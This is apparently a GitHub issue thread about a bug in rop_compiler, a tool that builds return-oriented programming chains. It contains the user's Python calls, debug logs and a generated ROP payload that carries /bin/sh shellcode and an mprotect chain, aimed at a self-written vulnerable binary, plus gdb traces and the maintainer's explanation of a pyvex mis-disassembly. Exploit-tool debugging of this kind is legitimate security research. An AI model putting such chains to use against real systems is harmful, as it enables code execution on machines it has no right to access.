rop_compiler icon indicating copy to clipboard operation
rop_compiler copied to clipboard

ROP Compile Errors

Open bannsec opened this issue 9 years ago • 1 comments

Hey,

So I've been trying to get this project to work and so far have not had joy. I tried this on a few existing challenges without success, so I wrote my own very basic exploitable program. In this case, I'm asking it to translate shellcode (for /bin/sh) into ROP. Here's an example:

import sys, logging
from binascii impo

import hexlify
from rop_compiler import ropme, goal

filename = './a.out'
files = [(filename, "./a.gadgets", 0)]l

In [35]: rop = ropme.rop(files, [], [["shellcode_hex",hexlify(buf)]], log_level = logging.DEBUG, strategy="BEST")
2016-05-26 23:17:05,173 - GoalResolver - DEBUG - Created a ShellcodeGoal to run 47 bytes of shellcode
2016-05-26 23:17:05,477 - FileFinder - DEBUG - Found 13297 (9114 LoadMem) gadgets
2016-05-26 23:17:05,477 - Scheduler - INFO - Found mprotect, using to change shellcode permissions
2016-05-26 23:17:05,477 - Scheduler - INFO - Creating function chain for mprotect(0x6c9000L,0x1000,0x7) and finishing with a return to 0x6c9080
2016-05-26 23:29:19,738 - Scheduler - DEBUG - Found StoreMem(r15, r10) Gadget:StoreMem(Address: 0x43172e, Complexity 1.0, Stack 0x8, Ip 0x0, Inputs [r15, r10], Params [-0x8L])
2016-05-26 23:29:20,111 - Scheduler - DEBUG - Found StoreMem(rax, rcx) Gadget:StoreMem(Address: 0x4633dc, Complexity 1.0, Stack 0x8, Ip 0x0, Inputs [rax, rcx], Params [0x40L])
2016-05-26 23:29:20,137 - Scheduler - DEBUG - Found StoreMem(rax, rdx) Gadget:StoreMem(Address: 0x4428b5, Complexity 1.0, Stack 0x8, Ip 0x0, Inputs [rax, rdx], Params [0x8L])
2016-05-26 23:29:20,147 - Scheduler - DEBUG - Found StoreMem(rax, rdi) Gadget:StoreMem(Address: 0x47a8a4, Complexity 2.33, Stack 0x10, Ip 0x8, Inputs [rax, rdi], Clobbers [rbx], Params [0x0L])
2016-05-26 23:29:20,260 - Scheduler - DEBUG - Found StoreMem(rsi, rax) Gadget:StoreMem(Address: 0x473971, Complexity 1.0, Stack 0x8, Ip 0x0, Inputs [rsi, rax], Params [0x0L])
2016-05-26 23:29:20,463 - Scheduler - DEBUG - Found StoreMem(rcx, rdx) Gadget:StoreMem(Address: 0x49bc69, Complexity 1.33, Stack 0x10, Ip 0x8, Inputs [rcx, rdx], Params [0x0L])
2016-05-26 23:29:20,584 - Scheduler - DEBUG - Found StoreMem(rbx, rax) Gadget:StoreMem(Address: 0x411e16, Complexity 2.33, Stack 0x10, Ip 0x8, Inputs [rbx, rax], Clobbers [rbx], Params [0x90L])
2016-05-26 23:29:20,742 - Scheduler - DEBUG - Found StoreMem(rdx, rax) Gadget:StoreMem(Address: 0x416761, Complexity 1.0, Stack 0x8, Ip 0x0, Inputs [rdx, rax], Params [0x0L])
2016-05-26 23:29:20,758 - Scheduler - DEBUG - Found StoreMem(rdx, rcx) Gadget:StoreMem(Address: 0x40fba2, Complexity 1.0, Stack 0x8, Ip 0x0, Inputs [rdx, rcx], Params [0x130L])
2016-05-26 23:29:20,835 - Scheduler - DEBUG - Found StoreMem(rdi, r13) Gadget:StoreMem(Address: 0x45bfe5, Complexity 5.77, Stack 0x28, Ip 0x20, Inputs [rdi, r13], Clobbers [r12, rbx, rbp, r13], Params [0x0L])
2016-05-26 23:29:20,843 - Scheduler - DEBUG - Found StoreMem(rdi, r10) Gadget:StoreMem(Address: 0x479ce3, Complexity 2.0, Stack 0x8, Ip 0x0, Inputs [rdi, r10], Clobbers [rax], Params [0x8L])
2016-05-26 23:29:20,923 - Scheduler - DEBUG - Found StoreMem(rdi, rax) Gadget:StoreMem(Address: 0x414e36, Complexity 1.0, Stack 0x8, Ip 0x0, Inputs [rdi, rax], Params [0x8L])
2016-05-26 23:29:20,937 - Scheduler - DEBUG - Found StoreMem(rdi, rsi) Gadget:StoreMem(Address: 0x479eb2, Complexity 1.0, Stack 0x8, Ip 0x0, Inputs [rdi, rsi], Params [0x0L])
2016-05-26 23:29:20,945 - Scheduler - DEBUG - Found StoreMem(rdi, rcx) Gadget:StoreMem(Address: 0x400597, Complexity 1.0, Stack 0x8, Ip 0x0, Inputs [rdi, rcx], Params [0x0L])
2016-05-26 23:29:20,974 - Scheduler - DEBUG - Found StoreMem(rdi, rdx) Gadget:StoreMem(Address: 0x430e46, Complexity 1.0, Stack 0x8, Ip 0x0, Inputs [rdi, rdx], Params [-0x8L])

In [36]: rop
Out[36]: 'E\x15@\x00\x00\x00\x00\x00\xb0\x90l\x00\x00\x00\x00\x00\x95!D\x00\x00\x00\x00\x00VWH\x89\xe6\x0f\x05K.\x17C\x00\x00\x00\x00\x00E\x15@\x00\x00\x00\x00\x00\xa8\x90l\x00\x00\x00\x00\x00\x95!D\x00\x00\x00\x00\x00/bin/sh\x00.\x17C\x00\x00\x00\x00\x00E\x15@\x00\x00\x00\x00\x00\xa0\x90l\x00\x00\x00\x00\x00\x95!D\x00\x00\x00\x00\x00\x89\xe6R\xe8\x08\x00\x00\x00.\x17C\x00\x00\x00\x00\x00E\x15@\x00\x00\x00\x00\x00\x98\x90l\x00\x00\x00\x00\x00\x95!D\x00\x00\x00\x00\x00\x89\xe7h-c\x00\x00H.\x17C\x00\x00\x00\x00\x00E\x15@\x00\x00\x00\x00\x00\x90\x90l\x00\x00\x00\x00\x00\x95!D\x00\x00\x00\x00\x00in/sh\x00SH.\x17C\x00\x00\x00\x00\x00E\x15@\x00\x00\x00\x00\x00\x88\x90l\x00\x00\x00\x00\x00\x95!D\x00\x00\x00\x00\x00j;X\x99H\xbb/b.\x17C\x00\x00\x00\x00\x00F\x15@\x00\x00\x00\x00\x00\x00\x90l\x00\x00\x00\x00\x00\xb9!D\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00p\xf8C\x00\x00\x00\x00\x00\x80\x90l\x00\x00\x00\x00\x00'

In [37]: len(rop)
Out[37]: 296

In [38]: f = open("exploit.bin","wb")

In [39]: f.write("A"*24 + rop)

In [40]: f.close()

It seems to set up somewhat correctly, but certainly the very first gadget appears incorrect:

Program received signal SIGSEGV, Segmentation fault.
0x000000000043172e in __memmove_ssse3 ()
(gdb) bt
#0  0x000000000043172e in __memmove_ssse3 ()
#1  0x0000000000401545 in __libc_setup_tls ()
#2  0x0068732f6e69622f in ?? ()
#3  0x000000000043172e in __memmove_ssse3 ()
#4  0x0000000000401545 in __libc_setup_tls ()
#5  0x00000008e852e689 in ?? ()
#6  0x000000000043172e in __memmove_ssse3 ()
#7  0x0000000000401545 in __libc_setup_tls ()
#8  0x480000632d68e789 in ?? ()
#9  0x000000000043172e in __memmove_ssse3 ()
#10 0x0000000000401545 in __libc_setup_tls ()
#11 0x48530068732f6e69 in ?? ()
#12 0x000000000043172e in __memmove_ssse3 ()
#13 0x0000000000401545 in __libc_setup_tls ()
#14 0x622fbb4899583b6a in ?? ()
#15 0x000000000043172e in __memmove_ssse3 ()
#16 0x0000000000401546 in __libc_setup_tls ()
#17 0x00000000004421b9 in __lll_unlock_wake_private ()
#18 0x000000000043f870 in ?? ()
#19 0x00000000006c9080 in ?? ()
#20 0x0000000000000000 in ?? ()
(gdb) x/10i 0x000000000043172e
=> 0x43172e <__memmove_ssse3+8766>: rex.WRXB
   0x43172f <__memmove_ssse3+8767>: xrelease mov QWORD PTR [rdi-0x8],rdx
   0x431734 <__memmove_ssse3+8772>: ret    
   0x431735 <__memmove_ssse3+8773>: nop
   0x431736 <__memmove_ssse3+8774>: nop    WORD PTR cs:[rax+rax*1+0x0]
   0x431740 <__memmove_ssse3+8784>: movdqu xmm0,XMMWORD PTR [rsi-0x45]
   0x431745 <__memmove_ssse3+8789>: movdqu xmm1,XMMWORD PTR [rsi-0x35]
   0x43174a <__memmove_ssse3+8794>: mov    r9,QWORD PTR [rsi-0x25]
   0x43174e <__memmove_ssse3+8798>: mov    r10,QWORD PTR [rsi-0x1d]
   0x431752 <__memmove_ssse3+8802>: mov    r11,QWORD PTR [rsi-0x15]
(gdb) quit
A debugging session is active.

Note that the compiler believed it was sending me to a mov instruction, but on execution the same address that the compiler gave does not appear to be a mov.

I'm attaching more information to include my statically linked binary and c code.

test_files.zip

bannsec avatar May 27 '16 04:05 bannsec

Yeah, I've noticed this as well. It looks like in your example, the rop_compiler thinks that that gadget should be something like this:

mov [r15-0x8], r10
ret

When I was creating a ROP chain for the BKP CTF challenge complexcalc, I also ran into this problem. For whatever reason, pyvex disassembles the bytes into what I think is an incorrect representation. In order to workaround this, I added the ability to define a filter function that allows you to say whether a gadget is good or not. The complexcalc challenge shows an example of this. For this problem, I just filtered all gadgets that use r15. However, obviously that is not an ideal solution, so I'm going to look into investigating this further and possibly getting it fixed at the pyvex level.

I should note that the ROP compiler is still a work in progress, and thanks a lot for helping get it up to shape.

jeffball55 avatar May 29 '16 15:05 jeffball55